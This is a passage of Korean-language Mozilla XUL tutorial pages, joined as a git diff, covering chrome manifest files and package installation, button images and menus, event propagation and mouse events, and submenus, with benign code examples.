browser 꾸러미에서 아카이브는 browser.jar이며 chrome 디렉토리에 선언 파일과 함께 위치합니다. 'content/browser' 경로는 XUL 파일이 위치한 아카이브 내의 경로를 나타냅니다. 만일 아카이브 내에 어떤 경로도 존재하지 않을 경우에는 경로를 명시할 필요가 없습니다. 여기서는 하나의 아카이브에 branding 꾸러미가 다른 경로로 저장되어 있으므로 명시되어 있습니다.

+

위에서 생성한 'tests' 꾸러미의 경우, 아카이브로 파일을 꾸리지 않았기 때문에 파일 경로가 직접 사용되었습니다. 개발시에는 변경이 발생할 때마다 매번 모든 파일을 꾸릴 필요가 없기 때문에, 이렇게 하는 것이 좋습니다. 그러나 응용프로그램이나 확장기능으로 배포할 경우에는 조그만 다수의 파일을 설치해야 하는 번거로움을 피하기 위해 하나의 아카이브로 묶길 원할 것입니다.

+

선언 파일의 라인 끝에 있는 xpcnativewrappers=yes 부분은 선택적으로 사용되는 플래그입니다. 자바스크립트에서는 웹 페이상에서 있는 코드가 내장(built-in) 함수를 재정의(override) 할 수 있습니다. 만일 xpcnativewrappers 플래그(flag)가 명시되어 있다면, 권한이 부여된 컨텍스트(privileged context)에서 실행되는 스크립트는 재정의된 함수가 아닌 원래의 내장 함수를 호출한다는 것을 의미합니다. 플래그 없이 확장기능이 수정된 버전의 함수를 호출하려고 하면 제대로 작동하지 않을 수도 있고, 더욱이 보안 구멍이 생겨날 수 있습니다. 이 플래그는 이러한 문제점을 방지하기 위해 추가되었으며, 새로운 확장 기능들에서는 항상 사용하는게 좋습니다. 그러나 이러한 변화에 호환되지 않는 오래된 학장기능들에서는 무시됩니다. 이 기능에 대한 자세한 정보는 XPCNativeWrapper를 참조하세요.

+

테마와 로케일

+

테마와 로케일에서의 구문은 내용 꾸러미와 유사하지만, 여러분은 테마나 로케일을 제공할 내용 꾸러미를 명시해야 할 필요가 있습니다.

+
skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
+locale browser en-US jar:en-US.jar!/locale/browser/
+
+

위의 예에서 browser에 스킨과 로케일을 적용한다는 것을 나타내기 위한 특별한 필드가 추가되었습니다. 스킨 이름은 'classic/1.0'입니다. 이 경우에 테마 이름의 일부분으로 버전 번호가 사용되었지만, 여러분의 테마를 만들 경우에는 선택적인 사항입니다. Mozilla는 버전 번호를 특별한 방법으로 처리하지 않습니다. 위의 경우 버전 번호는 그냥 테마 이름의 일부분일 뿐입니다. 로케일은 'en-US'입니다. 이것들을 연결하는 chrome URL은 chrome://browser/skin과 chrome://browser/locale일 수 있습니다. 여러분의 테마나 로케일을 작성할 경우에는 위의 두 줄중 하나를 가진 선언 파일을 생성하고 테마나 로케일에 맞게 수정하기만 하면 됩니다.

+

테마에 대한 자세한 정보는 Themes를 참조하시고 로케일에 대한 자세한 정보는 Localization을 참조하세요.

+
+

우리의 파일 찾기 대화상자 예제

+

이제 우리가 작성하려고 하는 파일 찾가 대화 상자를 위한 선언 파일을 만들어 보도록 하겠습니다. 원한다면 세 가지 타입을 하나의 파일에 넣을 수 있습니다. 모든 부분(content, skin, locale)이 하나의 파일에 포함되는 확장 기능을 작성할 때 보통 이렇게 합니다. 파일 찾기 대화상자에서는 이러한 방법을 사용할 것입니다. Chrome 디렉토리에 findfile.manifest 파일을 생성하고 다음의 내용을 추가하세요.

+
content findfile file:///findfile/content/
+skin findfile classic/1.0 file:///findfile/skin/
+locale findfile en-US file:///findfile/locale/
+
+

위에서 열거된 새로운 디렉토리들을 생성하세요. 디렉토리를 어디에 생성하는지에는 상관이 없지만 선언 파일에서 명시한 파일 경로는 반드시 해당 디렉토리를 가리켜야 합니다. 당연히 여러분의 시스템에 맞는 디렉토리 경로를 사용하면 됩니다. 만일 꾸러미를 배포할 경우에는 JAR 파일로 묶길 원할 수도 있고 그렇게 되면 경로를 수정해야 합니다. 이번 경우에는 선언 파일에 대해 설명하고 다음 섹션에서 볼 예제를 위한 디렉토리를 준비할 목적으로 생성할 것입니다.

+

스킨과 로케일 줄의 두번째 필드가 'findfile'로 명시되었다는 것을 확인하세요. 이것은 스킨과 로케일이 첫 번째 줄에서 명시한 findfile 꾸러미를 수정한다는 것을 의미합니다. 위의 세 가지 경로는 각 부분을 위한 하위 디렉토리를 명시합니다. 여러분은 각 부분에 해당하는 파일을 분리하여 관리하기 위해 하위 디렉토리를 작성하길 원할 것입니다.

+
+

꾸러미 설치하기

+

응용 프로그램을 설치하기 위해서는 설치 프로그램을 만들거나 다른 응용 프로그램에 포함시킬 필요가 있습니다. 어떤 방법을 사용할 것인지는 여러분이 작성하는 응용 프로그램의 종류에 따라 달라집니다. 확장 기능일 경우에는 설치 파일인 install.rdf를 작성해야 하는데, 이는 어떤 것들을 설치할 것인지, 확장기능의 제작자가 누구인지, 호환되는 브라우저 버전이나 응용프로그램 등과 같은 내용을 포함하고 있습니다. 또한 확장 기능은 파일이 설치되는 장소에 제약이 있으므로 고유의 디렉토리 구조를 필요로 합니다. 확장 기능은 XPI 파일로 꾸려지게 됩니다. XPI는 XPInstall의 약자로 Mozilla에서 컴포넌트를 설치할 때 사용됩니다. JAR 파일과 마찬가지로 XPI 파일도 확장자만 다른 ZIP 파일 이기 때문에 ZIP 유틸리티로 보거나 생성할 수 있습니다.

+

Firefox의 확장 기능 관리자는 XPI 파일로 꾸려져 있는 확장 기능의 설치를 자동으로 처리해 줍니다. 작성한 확장 기능은 사용자들이 설치를 위해 위치할 수 있는 Mozilla Add-ons site로 업로드 할 것을 권장합니다. 어떤 사이트에서나 설치할 수는 있지만, 특정 사이트는 기본적으로 설치가 허가되지 않도록 되어 있을 수 있습니다.

+

파일들을 설치하기 위해서는 JavaScript로 작성된 스크립트를 이용할 수도 있습니다. 이러한 방법은 아무 위치에나 파일을 복사할 수 있으며, 다른 방법의 파일 관리 작업을 수행할 수 있게 해 줍니다. 그러나 스크립트로 설치된 응용프로그램은 확장 기능 관리자에 표시되지 않을 것이고, 따라서 자동화된 설치 해제 방법이 존재하지 않습니다. 이런 이유로 설치 스크립트는 잘 사용되지 않습니다.

+

독립형 응용 프로그램일 경우에는 XULRunner를 사용하여 꾸려질 수 있습니다. 이렇게 하면 별도의 실행 파일이 가능하며, 브라우저와는 독립적으로 응용 프로그램을 배포할 수 있습니다.

+

확장기능을 작성하는 좀 더 자세한 정보는 Extensions을 참조하시고, XULRunner에 대한 상세한 정보는 XULRunner를 참조하세요.

+

오래된 어플리케이션

+

만일 Mozilla 소프트웨어의 옛 버전(Firefox 1.5나 Mozilla 1.8 이전 버전)을 위한 응용 프로그램을 작성할 경우에는 좀 더 많은 단계가 추가됩니다. 다음은 옛 버전을 위한 꾸러미를 설정하는 방법에 대해 설명합니다. 여러분이 새로운 확장기능이나 XUL 응용 프로그램을 작성할 경우에는 본 섹션을 건너 뛰어도 됩니다.

+
+ 주의: 언급되는 예전 절차는 새로운 SeaMonkey 1.0에도 적용됩니다. SeaMonkey 1.0의 코드베이스는 아직 "선언" 포맷을 채택하지 않고 있습니다.
+
<?xml version="1.0"?>
+
+<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:chrome="http://www.mozilla.org/rdf/chrome#">
+
+  <RDF:Seq about="urn:mozilla:package:root">
+    <RDF:li resource="urn:mozilla:package:myapplication"/>
+  </RDF:Seq>
+
+  <RDF:Description about="urn:mozilla:package:myapplication"
+          chrome:displayName="Application Title"
+          chrome:author="Author Name"
+          chrome:name="myapplication"
+          chrome:extension="true"/>
+
+</RDF:RDF>
+
+
content,install,url,file:///main/app/
+
+
    +
  1. Create a directory somewhere on your disk. Many people put this as a subdirectory inside Mozilla's chrome directory, but this isn't necessary. The directory could be anywhere and on any disk. Put your XUL files in this directory.
  2. +
  3. Create a file called contents.rdf and place it in this directory. Copy the text in the box below into the new contents.rdf file. This file is used to identify the application id, its name, author, version and so on.
  4. +
  5. Change the highlighted parts of the file above to your own information. The red text 'myapplication' should be the ID of your application. You make this up, but typically, the ID is similar to your application's name. Replace the blue highlighted text above with your application's title and author.
  6. +
  7. If the 'chrome:extension' field is true, the application is a Mozilla Firefox Extension and it will show up in the Extensions window of the browser. If false, it will not appear.
  8. +
  9. Save the contents.rdf and make sure it is in the directory you created in step 1.
  10. +
  11. Open the file <mozilla-directory>/chrome/installed-chrome.txt, where <mozilla-directory> is the directory where Mozilla is installed. Exit Mozilla before you do this.
  12. +
  13. Next, you are going to register the new application with Mozilla so it will know where to find it. Add a line at the end of installed-chrome.txt pointing to the new directory you created in step 1. Change the highlighted text to the file URL below of the directory. Make sure that it URL ends with a slash and that you press enter at the end of the line. If you aren't sure what the URL is, open the directory created in step 1 into a Mozilla browser and copy the URL from the location field. Note that the reference should always be a directory, not a file.
  14. +
  15. Delete the file <mozilla-directory>/chrome/chrome.rdf.
  16. +
  17. Start Mozilla. You should be able to view any XUL files you put into the directory using a URL of the form: chrome://applicationid/content/file.xul where file.xul is the filename. Your main XUL file should be applicationid.xul which you can load using the shortcut URL chrome://applicationid/content/.
  18. +
+

If you are creating skin and/or locale portions, repeat the steps above, except that the format of the contents.rdf file is slightly different. Look at the contents.rdf files in other applications for details.

+

문제 해결

+

Chrome 꾸러미를 작성하는 것은 종종 꼼수가 필요하고, 문제 발생의 원인을 찾기가 어려울 수 있습니다. 여기에서는 여러분들이 작업을 시작하는데 있어서의 몇 가지 팁을 제공하고자 합니다.

+ +

선언 파일에 대한 좀더 자세한 정보는 Chrome Registration를 참조하세요.

+

다음 섹션에서는 XUL 언어에 대해 좀 더 자세히 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html new file mode 100644 index 0000000000..a34556a984 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html @@ -0,0 +1,69 @@ +--- +title: More Button Features +slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Button_Features +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/More_Button_Features +--- +

+

« 이전다음 »

+

+

이번 단원에서는 버튼의 부가적인 기능들에 대해 알아 보겠습니다.

+

그림 넣기

+

버튼에 그림을 넣을 때는 image 속성에 URL을 지정해 주면 됩니다. 그림은 상대든 절대 URL이든 상관없이 로드되며, 읽어온 그림을 버튼에 표시합니다.

+

아래의 버튼은 labelimage(happy.png)을 모두 포함하고 있습니다. 그림은 라벨의 왼쪽에 표시되는데 다른 두 가지 속성을 이용하여 그림의 위치를 바꿀 수 있습니다. 이에 대해서는 잠시 후에 설명하겠습니다.

+

예제 1 : Source View

+
<button label="Help" image="happy.png"/>
+
+

CSS로 그림 넣기

+

이미지를 지정하는 또 다른 방법은 버튼에 CSS의 list-style-image 스타일 속성을 이용하는 것입니다. 이 방법은 XUL 파일을 바꾸지 않고도 '스킨'(이 경우는 그림)을 변경할 수 있도록 고안된 것입니다. 예제는 아래와 같습니다.

+

예제 2 : Source View

+
<button id="find-button"
+  label="Find" style="list-style-image: url('happy.png')"/>
+
+

위의 예에서도 'happy.png'라는 그림이 버튼에 표시됩니다. style 속성은 HTML에서의 style 속성과 비슷하게 동작합니다. 일반적으로, style 속성은 모든 XUL 요소에 사용할 수 있습니다. 스타일 선언은 별도의 스타일 시트에 넣는 것이 좋다는 점을 명심하세요.

+

그림 위치 지정하기

+

기본적으로 버튼의 그림은 글씨의 왼쪽에 표시됩니다. 그림의 위치를 지정하기 위해서는 두 가지의 속성을 사용할 수 있습니다.

+

dir 속성은 그림과 글씨의 방향을 제어합니다. dir 속성값을 reverse로 지정하면 그림이 글씨의 오른쪽에 출력됩니다. 반대로 normal을 사용하거나 값을 지정하지 않으면 그림은 글씨의 왼쪽에 나타납니다.

+

orient 속성을 사용하면 그림과 글씨의 상하 관계를 조정할 수 있습니다. 기본값은 horizontal로 그림이 글자의 왼쪽이나 오른쪽에 표시되도록 합니다. 이 값을 vertical로 지정하면 그림이 글자의 위나 아래에 나타나게 됩니다. 이 때는 dir 속성은 위, 아래의 방향을 지정하기 위해 사용할 수 있는데 normal일 때는 그림이 글씨 위에, reverse일 때는 그림이 글씨 아래에 표시됩니다.

+

예제 3 : Source View

+
+ Image:advbtns1.png
+
<button label="Left" image="happy.png"/>
+<button label="Right" image="happy.png" dir="reverse"/>
+<button label="Above" image="happy.png" orient="vertical"/>
+<button label="Below" image="happy.png" orient="vertical" dir="reverse"/>
+
+

위의 예제는 앞에서 말한 네 가지 정렬 방식이 모두 사용되었습니다. 기본값을 사용할 때는 위와 같이 속성값을 지정하지 않아도 됩니다.

+

특별한 내용을 가지는 버튼

+

버튼 내부에는 임의의 마크업을 포함할 수 있으며 이런것들은 버튼의 안쪽에 표시됩니다. 이 기능을 자주 사용하지는 않겠지만, XUL이 제공하지 않는 사용자 정의 요소(custom element)를 만들 때 유용하게 쓰일 수 있습니다.

+

아래는 두 단어가 빨간색인 버튼을 만드는 예입니다.

+

예제 4 : Source View

+
<button>
+  <description value="This is a"/>
+  <description value="rather strange" style="color: red;"/>
+  <description value="button"/>
+</button>
+
+

어떠한 XUL 요소도 button에 삽입될 수 있습니다. 하지만 HTML 요소들은 무시되기 때문에, 대신 description을 사용해야 합니다. 그리고 버튼에 label 속성값을 지정하면 버튼 내부의 모든 내용이 사라진다는 것에 유념하세요.

+ +

여러분은 menulist처럼 버튼을 눌렀을때 드롭 다운 메뉴가 나오도록 하기 위해, menupopup 요소를 버튼 내부에 넣을 수 있습니다. 이 때 type 속성을 반드시 menu로 지정해야 합니다.

+

예제 5 : Source View

+
+ Image:advbtns2.png
+
<button type="menu" label="Device">
+  <menupopup>
+    <menuitem label="Printer"/>
+    <menuitem label="Mouse"/>
+    <menuitem label="Keyboard"/>
+  </menupopup>
+</button>
+
+

위의 예를 실행시키고 버튼을 클릭하면 세 가지 항목이 있는 메뉴가 펼쳐집니다. 하지만 menulist와 달리 항목을 선택해도 버튼의 라벨은 변하지 않습니다. 이런 종류의 버튼은 각 항목마다 스크립트를 지정하여 작업을 수행하게 함으로써 메뉴처럼 사용할 수 있습니다. 메뉴에 대한 더 자세한 내용은 나중에 알아보겠습니다.

+

여러분은 type 속성을 menu-button으로 지정하여 메뉴가 있는 버튼을 만들 수 있는데, 이렇게 만들어진 버튼은 위의 버튼과는 모양이 다릅니다. 위 그림의 왼쪽은 'menu'이고 두번째는 'menu-button'을 사용한 것입니다. 둘 다 메뉴를 가리키는 화살표를 가지고 있습니다. 하지만 'menu'를 사용한 버튼은 사용자가 버튼의 아무 곳이나 클릭하면 메뉴가 나타나는 반면 'menu-button'을 사용한 버튼은 사용자가 화살표를 눌러야 메뉴가 나타납니다.

+

다음에서는 XUL 요소가 창내에 배치되는 방법에 대해 좀 더 자세히 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html new file mode 100644 index 0000000000..17f4af786a --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html @@ -0,0 +1,140 @@ +--- +title: More Event Handlers +slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Event_Handlers +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/More_Event_Handlers +--- +

 

+

+

« 이전다음 »

+

+

이번 단원에서는 이벤트 객체에 대해 검토해보고, 추가적인 이벤트들에 대해 설명하겠습니다.

+

이벤트 객체

+

각 이벤트 핸들러는 event 객체가 저장된 하나의 인자를 가집니다. 속성 형식의 이벤트 리스너에서의 이벤트 객체는 명시하지 않더라도 스크립트 코드에서 'event'라는 이름으로 참조할 수 있습니다. addEventListener 형태일 경우에는 리스너 함수의 첫 번째 인자가 이벤트 객체가 됩니다. 이벤트 객체에는 이벤트가 처리되는 동안 사용할 수 있는 많은 속성이 있습니다. 전체 목록은 XULPlanet object reference에서 보실 수 있습니다.

+

우리는 지난 단원에서 이벤트의 target 속성에 대해 알아 보았습니다. 이 속성은 이벤트가 발생한 대상 요소에 대한 참조를 가지고 있습니다. 이와 유사한 currentTarget 속성은 현재 이벤트 리스너가 처리하고 있는 대상 요소에 대한 참조를 가집니다. 아래 예제에서 target 속성은 활성화된 버튼이나 체크박스 중 하나에 대한 참조인 반면 currentTarget 속성은 항상 vbox가 됩니다.

+

예제 1 : Source View

+
<vbox oncommand="alert(event.currentTarget.tagName);">
+  <button label="OK"/>
+  <checkbox label="Show images"/>
+</vbox>
+
+

이벤트 전파 중지

+

일단 이벤트를 처리하였으면, 이벤트의 전파 단계 중 어디에 있는지에 상관없이, 이벤트의 버블링이나 캡처 단계를 중지하여 다른 요소들로 이벤트가 전파되는 것을 막고자 할때가 있을 것입니다. 이는 이벤트 핸들러를 대상 요소에 어떻게 부착했는지에 따라 그 방법이 달라집니다.

+

캡처 단계는 버블링 단계 이전에 발생한다고 했던 것을 기억하세요. 그렇게 때문에 캡처 단계에서 실행되는 리스너는 버블 단계의 리스너보다 먼저 실행됩니다. 만일 캡처 단계에서 이벤트 전파가 중지된다면, 이후에 발생할 수 있는 캡처 리스너나 버블링 리스너는 해당 이벤트에 대해 아무런 알림도 받지 못하게 됩니다. 이벤트 전파를 막기 위해서는 다음 예제와 같이 이벤트 객체의 stopPropagation 메소드를 호출하면 됩니다.

+

예제 2 : Source View

+
<hbox id="outerbox">
+  <button id="okbutton" label="OK"/>
+</hbox>
+
+<script>
+function buttonPressed(event){
+  alert('Button was pressed!');
+}
+
+function boxPressed(event){
+  alert('Box was pressed!');
+  event.stopPropagation();
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command',buttonPressed,true);
+
+var outerbox = document.getElementById("outerbox");
+outerbox.addEventListener('command',boxPressed,true);
+</script>
+
+

예제에서, 한 이벤트 리스너는 버튼에 또 다른 이벤트 리스너는 상자에 추가되었습니다. stopPropagation 메소드는 상자의 리스너에서 호출되므로, 버튼의 리스너는 절대 호출되지 않습니다. 만일 이 메소드가 제거되면 모든 리스너가 호출되고 2개의 알림창(alert)이 나타날 것입니다.

+

기본 행위 막기

+

어떤 요소에 아무런 이벤트 핸들러도 등록되어 있지 않다면, 캡처와 버블링 단계가 다 끝난후에 내장된(default) 방법으로 이벤트가 처리됩니다. 이 내장된 방법은 이벤트와 대상 요소의 종류에 따라 다릅니다. 예를 들어 'popupshowing' 이벤트는 팝업이 출력되기 전에 전달받는 이벤트이며, 기본(default) 동작은 팝업을 출력하는 것입니다. 만일 기본 동작이 일어나지 않도록 하면, 팝업은 출력되지 않을 것입니다. 기본 동작은 이벤트 객체의 preventDefault 메소드로 막을 수 있으며, 아래의 예제와 같습니다.

+

예제 3 : Source View

+
<button label="Types" type="menu">
+  <menupopup onpopupshowing="event.preventDefault();">
+    <menuitem label="Glass"/>
+    <menuitem label="Plastic"/>
+  </menupopup>
+</button>
+
+

속성 형태로 작성된 이벤트 리스너에서는 해당 코드에서 false값을 반환하도록 해서 기본 행위를 막을 수 있는 방법도 있습니다. 기본 동작을 막는 것은 stopPropagation 메소드로 이벤트 전파를 막는 것과는 다르다는 사실을 알아두세요. 기본 행위가 막혀 있더라도, 이벤트는 계속 진행됩니다. 마찬가지로, stopPropagation 메소드를 호출한다고 해서 기본 동작이 실행되지 않는 것은 아닙니다. 여러분은 두 동작을 모두 실행되지 않게 하기 위해서는 두 메소드 모두 호출해야 합니다.

+

일단 이벤트 전파나 기본 동작을 막았다면 다음 이벤트에서도 동일하게 동작할 것입니다.

+

다음 단원의 내용은 자주 사용되는 몇가지 이벤트 목록입니다. 전체 목록은 XULPlanet event reference를 참조하세요.

+

마우스 이벤트

+

마우스만의 동작을 처리하는데 사용되는 여러가지 이벤트가 있으며, 간략한 설명은 아래와 같습니다.

+
+
+ click 
+
+ 마우스로 대상 요소를 클릭했을때(버튼을 눌렀다 땔때) 호출됩니다.
+
+
+
+ dblclick 
+
+ 마우스 버튼을 더블클릭했을때 호출됩니다.
+
+
+
+ mousedown 
+
+ 마우스 버튼이 대상 요소에 눌러졌을때 호출됩니다. 이벤트 핸들러는 마우스 버튼이 눌러지면 떨어지지 않더라도 호출됩니다.
+
+
+
+ mouseup 
+
+ 마우스 버튼이 떨어질때 호출됩니다.
+
+
+
+ mouseover 
+
+ 마우스 포인터가 요소위로 움직이면 호출됩니다. 이 이벤트는 요소를 강조(highlight)하기 위해서 사용할 수 있지만, CSS에서 이런 것을 자동으로 처리하므로 이벤트로 처리할 필요는 없습니다. 그래도 상태바에 몇 가지 도움말을 제공하고자 할 때 사용할 수 있습니다.
+
+
+
+ mousemove 
+
+ 마우스 포인터가 요소 위에서 움직이면 호출됩니다. 이 이벤트는 마우스를 움직임에 따라 자주 호출될 수 있기 때문에 긴 시간이 걸리는 작업을 이 핸들러에서 수행하도록 하는 것은 바람직하지 않습니다.
+
+
+
+ mouseout 
+
+ 마우스 포인터가 대상 요소의 밖으로 나갈 때 호출됩니다. 강조된 대상 요소를 원래데로 바꾸거나 상태바의 텍스트를 제거할 때 사용할 수 있습니다.
+
+

이것들 외에도 드래그와 관련된 이벤트들이 있으며 이는 사용자가 마우스 버튼을 누른 상태에서 주위로 끌 때 발생합니다. 이러한 이벤트들에 대해서는 Drag and Drop에서 설명하겠습니다.

+

마우스 버튼 이벤트 속성

+

마우스 버튼 이벤트가 발생하면, 어떤 마우스 버튼이 눌러졌는지와 마우스 포인터의 위치가 어디인지를 확인할 수 있는 속성을 사용할 수 있습니다. 이벤트의 button 속성은 어떤 버튼이 눌러졌는지를 나타내는 속성으로, 왼쪽 버튼은 0, 오른쪽 버튼은 1, 가운데 버튼은 2의 값을 가집니다. 마우스의 버튼이 다르게 설정되었다면 값이 달라질 수 있습니다.

+

detail 속성은 버튼이 빠른 시간 내 순차적으로 클릭된 횟수를 저장합니다. 이 속성을 이용해서 한번 클릭인지, 더블 클릭인지 혹은 3회 클릭인지를 확인할 수 있습니다. 물론 더블 클릭만 확인하고자 하면 dblclick 이벤트를 사용할 수 있습니다. click 이벤트가 첫 번째 클릭에 의해 발생하고 두번째 클릭, 세번째 클릭 각각에 대해 이벤트가 발생하지만 dblclick 이벤트는 더블 클릭시 한번만 발생합니다.

+

buttondetail 속성은 마우스 버튼과 관련된 이벤트에만 해당됩니다. 마우스의 움직임과 관련된 이벤트에서는 해당 속성값이 0으로 설정될 것입니다.

+

마우스 위치 관련 이벤트 속성

+

그러나 모든 마우스 이벤트에는 이벤트가 발생한 마우스 위치 좌표를 저장하는 속성이 있습니다. 이 속성에는 두 가지 종류의 좌표가 있습니다. 첫 번째는 screenXscreenY 속성으로 화면의 좌상단에 상대적인 좌표입니다. 두 번째는 clientXclientY로 문서의 좌상단에 상대적인 좌표입니다. 다음은 현재의 마우스 좌표를 출력하는 예제입니다.

+

예제 4 : Source View

+
<script>
+
+function updateMouseCoordinates(event){
+  var text = "X:" + event.clientX + " Y:" + event.clientY;
+  document.getElementById("xy").value = text;
+}
+</script>
+
+<label id="xy"/>
+<hbox width="400" height="400" onmousemove="updateMouseCoordinates(event);"/>
+
+

예제에서는 상자의 크기를 명시적으로 지정했기 때문에 효과를 좀더 쉽게 볼 수 있습니다. 이벤트 핸들러는 clientXclientY 속성값을 얻어 문자열을 만들었습니다. 그리고 이 문자열을 라벨의 value 속성에 할당했습니다. updateMouseCoordinates 함수의 인자로 event가 넘어오는 것을 기억하세요. 만일 상자의 경계을 넘어 빠르게 마우스가 이동한다면, 아마 마우스 좌표가 400에 정확히 멈추지 않는 것을 알게 될것입니다. 이것은 mousemove 이벤트가 일정한 간격으로 발생하며, 다음 이벤트가 발생하기 전에 마우스의 위치가 밖으로 빠져나갔기 때문입니다. 당연히 마우스가 움직이는 매 픽셀마다 mousemove 이벤트가 전송된다면 너무 비효율적일 것입니다.

+

요소에 상대적인 좌표

+

여러분은 전체 창이 아닌 이벤트가 발생한 요소에 상대적인 좌표(요소 내에서의 좌표)를 얻고자 할때가 있을 것입니다. 이는 이벤트의 위치에서 요소의 위치를 빼주면 얻을 수 있으며 코드는 다음과 같습니다.

+
var element = event.target;
+var elementX = event.clientX - element.boxObject.x;
+var elementY = event.clientY - element.boxObject.y;
+
+

XUL 요소들에는 boxObject라는 속성을 사용해서 얻을 수 있는 상자 객체가 있습니다. 상자 객체에 대해서는 이후 단원에서 배우겠지만, 간단히 말해서 이 객체는 요소가 출력되는 방법에 대한 정보(요소의 x, y 좌표등)를 가지고 있다고 보면 됩니다. 예제 코드에서는 요소 기준의 이벤트 좌표를 얻기 위해 이벤트 좌표에서 상자 객체의 좌표를 뺐습니다.

+

로드(load) 이벤트

+

로드 이벤트는 XUL 파일의 로딩이 완료되고 내용이 출력되기 직전에 문서(window 태그)로 전송됩니다. 이 이벤트는 일반적으로 변수들을 초기화하고 사용자가 창을 사용할 수 있기 전에 해야 할 일들을 처리하는데 사용됩니다. 여러분은 이러한 초기화 작업을 함수 외부의 최상위 레벨 스크립트로 처리하는 것보다는 로드 이벤트를 사용하는 것이 좋습니다. 이것은 XUL 요소들이 로드되지 않았거나 초기화되지 않았을수도 있기 때문이며, 따라서 어떤 것들은 원하는데로 동작하지 않을 수 있습니다. 로드 이벤트를 사용하려면 window 태그에 onload 속성을 넣으면 됩니다. 초기화를 필요로 하는 것들은 로드 이벤트 핸들러에서 호출하세요.

+

또한 창이 닫힐 때 혹은 브라우저의 관점에서는 페이지가 다른 URL로 넘어갈 때 발생하는 언로드(unload) 이벤트가 있습니다. 이 이벤트는 창이 닫히기 전 변경된 정보를 저장하는 것과 같은 용도로 사용할 수 있습니다.

+

다음에는 단축키를 추가하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html new file mode 100644 index 0000000000..897dbaa148 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html @@ -0,0 +1,109 @@ +--- +title: More Menu Features +slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Menu_Features +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/More_Menu_Features +--- +

 

+

+

« 이전다음 »

+

+

이번 단원에서는 하위 메뉴와 체크 메뉴를 만드는 방법을 알아 보겠습니다.

+

하위 메뉴 만들기

+

여러분은 기존에 있는 요소들을 사용하여 다른 메뉴 내에 있는 서브메뉴(중첩 메뉴)를 만들 수 있습니다. menupopup안에는 어떤 요소든 넣을 수 있다는 것을 기억해보세요. 지난 단원에서는 menupopup안에 menuitemmenuseparator를 넣는 방법을 알아 보았습니다. 그러나 여러분은 menupopup 요소내에 menu를 넣기만 하면 하위 메뉴를 만들 수 있습니다. 이것은 menu 요소가 꼭 메뉴바의 바로 아래에 있지 않더라도 유효한 것이기 때문에 동작하게 됩니다. 아래는 File 메뉴내에 간단한 하위 메뉴가 존재하는 예제입니다.

+

예제 1 : Source View

+
+ Image:menubar-ex3.png
+
<toolbox flex="1">
+  <menubar id="sample-menubar">
+    <menu id="file-menu" label="File">
+      <menupopup id="file-popup">
+        <menu id="new-menu" label="New">
+          <menupopup id="new-popup">
+            <menuitem label="Window"/>
+            <menuitem label="Message"/>
+          </menupopup>
+        </menu>
+        <menuitem label="Open"/>
+        <menuitem label="Save"/>
+        <menuseparator/>
+        <menuitem label="Exit"/>
+      </menupopup>
+    </menu>
+  </menubar>
+</toolbox>
+
+
+

우리의 파일 찾기 예제에 메뉴 추가하기

+

이제 파일 찾기 대화창에 메뉴를 넣어 봅시다. 우리는 File 메뉴와 Edit 메뉴에 간단한 명령 몇 가지를 넣을 것입니다. 이 방법은 위의 예제와 비슷합니다.

+
<toolbox>
+
+ <menubar id="findfiles-menubar">
+  <menu id="file-menu" label="File" accesskey="f">
+    <menupopup id="file-popup">
+      <menuitem label="Open Search..." accesskey="o"/>
+      <menuitem label="Save Search..." accesskey="s"/>
+      <menuseparator/>
+      <menuitem label="Close" accesskey="c"/>
+    </menupopup>
+  </menu>
+  <menu id="edit-menu" label="Edit" accesskey="e">
+    <menupopup id="edit-popup">
+      <menuitem label="Cut" accesskey="t"/>
+      <menuitem label="Copy" accesskey="c"/>
+      <menuitem label="Paste" accesskey="p" disabled="true"/>
+    </menupopup>
+  </menu>
+ </menubar>
+
+<toolbar id="findfiles-toolbar>
+
+
+ Image:menubar1.png
+

여기서 여러개의 명령을 가진 두 개의 메뉴를 만들었습니다. 툴박스 내에 어떻게 메뉴바가 추가되었는지를 유심히 보세요. Open Search와 Save Search 뒤에 불은 세 개의 점은 사용자가 해당 명령을 선택할 때 대화창이 열릴것이라는 것을 알려주는 일반적인 방법입니다. 각 메뉴와 메뉴 항목에는 접근글쇠(Access key)가 지정되어 있습니다. 그림을 보면 지정된 글자가 메뉴 제목에 밑줄로 표시된 것을 알 수 있습니다. 또 붙이기(Paste) 명령은 현재 사용불가 상태입니다. 우리는 아무 것도 붙일 것이 없다고 가정할 것입니다.

+

지금까지의 파일 찾기 예제 : Source View

+
+

메뉴에 체크 표시 넣기

+

많은 프로그램들에서는 체크할 수 있는 메뉴를 사용합니다. 예를 들어 현재 사용하고 있는 기능은 명령 옆에 체크가 있고 그렇지 않은 기능은 체크가 없는 메뉴 같은 것입니다. 사용자가 메뉴를 선택하면 체크 상태가 바뀝니다. 또 메뉴 항목에 라디오 버튼을 넣고 싶을 때도 있을 것입니다.

+

